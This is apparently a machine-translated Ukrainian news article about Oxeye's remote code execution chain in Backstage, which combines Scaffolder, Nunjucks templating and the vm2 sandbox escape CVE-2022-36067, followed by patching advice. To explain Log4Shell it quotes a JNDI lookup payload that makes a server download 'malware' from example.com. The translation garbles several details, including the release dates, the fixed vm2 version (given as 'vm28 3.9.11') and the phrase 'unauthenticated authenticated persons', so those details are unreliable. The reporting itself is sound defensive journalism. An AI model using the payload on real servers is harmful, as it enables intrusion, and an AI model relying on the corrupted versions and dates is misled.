Діра виконання коду, подібного до Log4Shell, у популярному інструменті розробника Backstage

Дослідники з компанії безпеки хмарного кодування Oxeye описали критичну помилку, яку вони нещодавно виявили в популярному наборі інструментів розробки хмари Backstage.

Їх звітом містить пояснення того, як працює помилка, а також код перевірки концепції (PoC), який показує, як її використовувати.

Backstage — це те, що відомо як хмарний портал розробників — свого роду серверна частина бізнес-логіки, яка дозволяє легко створювати веб-інтерфейси API (інтерфейси програмування додатків), щоб дозволити кодерам усередині та за межами вашого бізнесу взаємодіяти з вашими онлайн-сервісами.

За словами самого проекту, спочатку створеного на Spotify, але зараз з відкритим джерелом на GutHub:

Backstage — відкрита платформа для створення порталів розробників. Завдяки централізованому каталогу програмного забезпечення Backstage відновлює порядок у ваших мікросервісах та інфраструктурі та дає змогу вашим командам продуктів швидко надсилати високоякісний код — без шкоди для автономності.

Backstage об’єднує всі ваші інфраструктурні інструменти, служби та документацію для створення оптимізованого середовища розробки від кінця до кінця.

Ні, ми також не знаємо, що це означає, але ми знаємо, що інструментарій написаний на JavaScript і працює за допомогою серверної системи JavaScript node.js, і втягує мережу залежностей ланцюга постачання від екосистеми NPM.

NPM - це скорочення від Менеджер пакетів вузлів, автоматизований набір інструментів, який гарантує, що ваш внутрішній код JavaScript може легко використовувати широкий спектр бібліотек з відкритим кодом, які надають популярні, попередньо написані допоміжні інструменти для всього, від криптографії та керування базами даних до журналювання та контролю версій.

Віддалене виконання коду

На жаль, виявлена ​​сьогодні помилка, якщо її не виправити, може дати неавтентифікованим аутентифікованим особам (вільно, будь-кому, хто може встановлювати API-з’єднання з вашими серверами) спосіб ініціювати віддалене виконання коду (RCE) на серверах бізнес-логіки у вашій мережі.

Однак, на щастя, якщо ми правильно інтерпретували написання Oxeye, атака, яку вони описують для свого Backstage RCE, залежить від послідовності недоліків кодування, які в кінцевому підсумку залежать від конкретної помилки, позначеної CVE-2022-36067 у компоненті ланцюга постачання, на який спирається Backstage під назвою vm2.

Якщо вам цікаво, vm2 — це модуль NPM загального призначення, який реалізує «пісочницю віртуальної машини», яка має на меті зробити потенційно ризикований JavaScript трохи безпечнішим для запуску на ваших серверах.

Ця помилка CVE-2022-36067 у vm2 була повідомляє ще в серпні 2022 року самим Oxeye (який дав йому піар-дружню назву «Sandbreak», оскільки він вирвався з пісочниці), і виправлено оперативно командою vm2 майже три місяці тому.

Отже, наскільки ми бачимо, якщо ви користувач Backstage, вам слід переконатися, що ви виправили всі компоненти, які піддаються ризику, у налаштуваннях Backstage…

…але якщо ви виправили компонент vm2, який був уразливий до Sandbreak усі ці місяці тому, то, здається, ви не є безпосередньо вразливими до експлойту, описаного в останньому розкритті Oxeye.

Крім того, якщо ваші сервери Backstage налаштовані відповідно до правил кібербезпеки, де автентифікація потрібна як на межі мережі, так і всередині мережі, ви не ризикуватимете випадковими зондами «лише для дослідницьких цілей» від «корисних» осіб, визначених щоб показати, що вони зацікавлені в «дослідженні» кіберзагроз.

Атака «сиру Емменталь».

Простіше кажучи, нещодавно виявлені проблеми з безпекою є побічним ефектом серії проблем із безпекою, як-от діри в скибочках сиру Емменталь, які можуть бути проникнуті послідовно, якщо зловмиснику вдасться вирівняти принаймні одну дірку на кожній скибці.

Наскільки ми розуміємо, Backstage містить компонент під назвою Scaffolder, який, як випливає з назви, допомагає вам керувати різними аддонами (відомими як плагіни), які можуть знадобитися або потрібні вашій спільноті розробників.

Scaffolder, у свою чергу, використовує систему реєстрації повідомлень від Mozilla, відому як Nunjucks, яка включає так званий шаблонування рядків in node.js колах, як рядкова інтерполяція у світі Java, і як підстановка рядка для системних адміністраторів, які використовують командні оболонки, такі як Bash.

Якщо інтерполяція рядків звучить як дзвіночок, можливо, це тому, що вона лежить в основі Log4Shell уразливості ще в грудні 2021 року, а також Фолліна помилка в середині 2022 року.

Тут ви можете переписати вміст повідомлення журналу на основі спеціальних «символів кодування» в шаблоні рядка, щоб рядок, такий як $USER може бути замінено на ім’я облікового запису, що використовується сервером, або ${PID} може отримати ідентифікатор поточного процесу.

У крайньому випадку Log4Shell, дивне заклинання ${jndi:ldap://example.com:8888/malware} може безпосередньо змусити сервер завантажити програму під назвою malware від example.com і тихо працює у фоновому режимі.

Іншими словами, вам потрібно бути абсолютно впевненим, що дані, які надходять із ненадійного джерела, наприклад стороннього користувача, ніколи не передаються наосліп у функцію шаблону рядка або інтерполяції рядка, яка буде використана як сам текст шаблону.

Якщо віддалений користувач, наприклад, намагається обдурити ваш сервер, вказавши своє ім’я користувача як ${{RISKY}} (припускаючи, що бібліотека шаблонів використовує ${{...}} як його спеціальний маркер), вам потрібно переконатися, що ваш код реєстрації правильно запише цей неслухняний текст буквально в тому вигляді, в якому його було отримано...

...замість того, щоб дозволяти тексту, який реєструється, контролювати саму функцію реєстрації!

Кажучи словами старого дитячого віршика, вам потрібно переконатися, що ви не співаєте: «У моєму ${{BUCKET}}, люба Лізо, люба Лізо, у мене діра ${{BUCKET}}, дорога Ліза. Діра!"

Закутаний в безпечну ковдру

Чесно кажучи, можливо, надто потужна функція шаблонів/інтерполяції Nunjucks загорнута Backstage в ще один компонент ланцюга постачання, а саме вищезгадану систему ізольованого програмного середовища vm2, яка має обмежити небезпеку, яку зловмисник може зробити з міною -захоплені вхідні дані.

На жаль, дослідники Oxeye змогли поєднати свої нещодавно відкриті шляхи запуску коду шаблонів рядків у Backstage + Scaffolder + Nunjucks зі старішою вразливістю CVE-2022-36067 у оболонці безпеки vm2, щоб досягти потенційного віддаленого виконання коду на сервері Backstage .

Що ж робити?

Якщо ви користувач Backstage:

• Переконайтеся, що у вас є найновіші версії Backstage та його залежностей, в тому числі plugin-scaffolder-backend компонент. За словами Oxeye, відповідні помилки в коді Backstage були виправлені до 01 вересня 2022 року, тому будь-який офіційний випуск після цих даних повинен містити виправлення. На момент написання [2022-11-1T16:00Z], що включає Backstage 1.6.0, 1.7.0 та 1.8.0, випущені 2022, 09 та 21 відповідно.
• Переконайтеся, що у вашій інсталяції Backstage автентифікація налаштована належним чином. Oxeye стверджує, що автентифікація вимкнена за замовчуванням і що після виконання Закулісні вказівки, внутрішні сервери (які, ймовірно, все одно не повинні бути відкритими зовні) все ще дозволяли неавтентифікований доступ. Можливо, це те, чого ви хочете, але ми рекомендуємо використовувати цю проблему як причину перевірити, чи ваші налаштування відповідають вашим намірам.
• Перевірте, які частини вашої інфраструктури Backstage доступні через Інтернет. Ще раз скористайтеся цією проблемою як приводом для сканування власної мережі ззовні, якщо ви не робили цього нещодавно.

Якщо ви користувач node.js/NPM:

• Переконайтеся, що у вас остання версія компонента пісочниці vm2. Це може бути встановлено як залежність від іншого програмного забезпечення, яке ви використовуєте, навіть якщо у вас немає Backstage. Уразливість CVE-2022-36067 було виправлено 2022 серпня 08 року, тому вам потрібна версія vm28 3.9.11 або пізніше.

Якщо ви програміст:

• Викликаючи потужні функції журналювання, будьте якомога захиснішими. Якщо ви використовуєте службу журналювання (зокрема Nunjucks або Log4J), яка включає потужні функції шаблонів/інтерполяції, вимкніть усі непотрібні функції, щоб ними не можна було скористатися помилково. Переконайтеся, що ненадійний вхід сам по собі ніколи не використовується як шаблон, таким чином запобігаючи зловмисникам від використання власних безпосередньо небезпечних рядків введення.
• Незалежно від будь-яких інших запобіжних заходів, дезінфікуйте входи та виходи журналу. Пам’ятайте, що в майбутньому комусь потрібно буде відкрити ваші журнали. Не дозволяйте будь-яким ненавмисним мінам-пасткам записуватися у ваш файл журналу, де вони можуть спричинити проблеми згодом, наприклад фрагменти HTML із залишеними тегами сценарію. (Хтось може помилково відкрити файл у браузері.)

Навіть якщо ви отримуєте дані з надійного джерела, рідко є причина не перевіряти його на власну санітарну перевірку перед використанням.

(Іноді ви можете виправдати виняток, наприклад, з міркувань продуктивності, але це має бути виняток, а не правило.)

По-перше, повторна перевірка допомагає помітити помилки, які попередні програмісти могли добросовісно зробити; по-друге, це допомагає обмежити поширення поганих або мінованих даних, якщо якась інша частина вашої екосистеми буде скомпрометована.

Що стосується тих скибочок сиру Емменталь, про які ми згадували раніше, то, хоча вони проникні, якщо принаймні одна дірка розташована на кожному аркуші...

…вони є непроникними, якщо є принаймні один аркуш із отворами, які взагалі не збігаються!

---